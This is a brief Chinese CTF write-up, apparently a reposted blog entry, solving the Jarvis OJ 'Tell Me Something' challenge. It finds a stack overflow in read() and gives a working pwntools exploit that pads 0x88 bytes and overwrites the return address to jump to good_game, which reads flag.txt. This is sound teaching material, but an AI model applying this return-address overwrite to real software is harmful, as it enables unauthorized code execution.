Pwn-Tell Me Something

题目地址

https://dn.jarvisoj.com/challengefiles/guestbook.d3d5869bd6fb04dd35b29c67426c0f05

先看看位数 64位ELF

丢到Ubuntu看看有没有什么保护机制

用IDA查看 F5转化为伪代码

发现可以good_game函数中可以直接打开flag.txt

 但是main函数不会执行good_game函数,不过 read函数存在栈溢出,我们可以填充一些无意义的字符,一直到返回函数的时候,填充good_game的入口地址,这样就可以执行good_game函数,需要填充多少字符,可以用IDA来查看,也可以用cyclic来填充字符

需要填充0x88个字节来,在写入good_game的地址

 

查看good_game的入口地址

然后开始编写exp

from pwn import *
r=remote('pwn.jarvisoj.com',9876)
payload=(0x88)*'a'+p64(0x400620)
r.sendline(payload)
r.interactive()
                   

执行

猜你喜欢

转载自www.cnblogs.com/gaonuoqi/p/11634770.html
me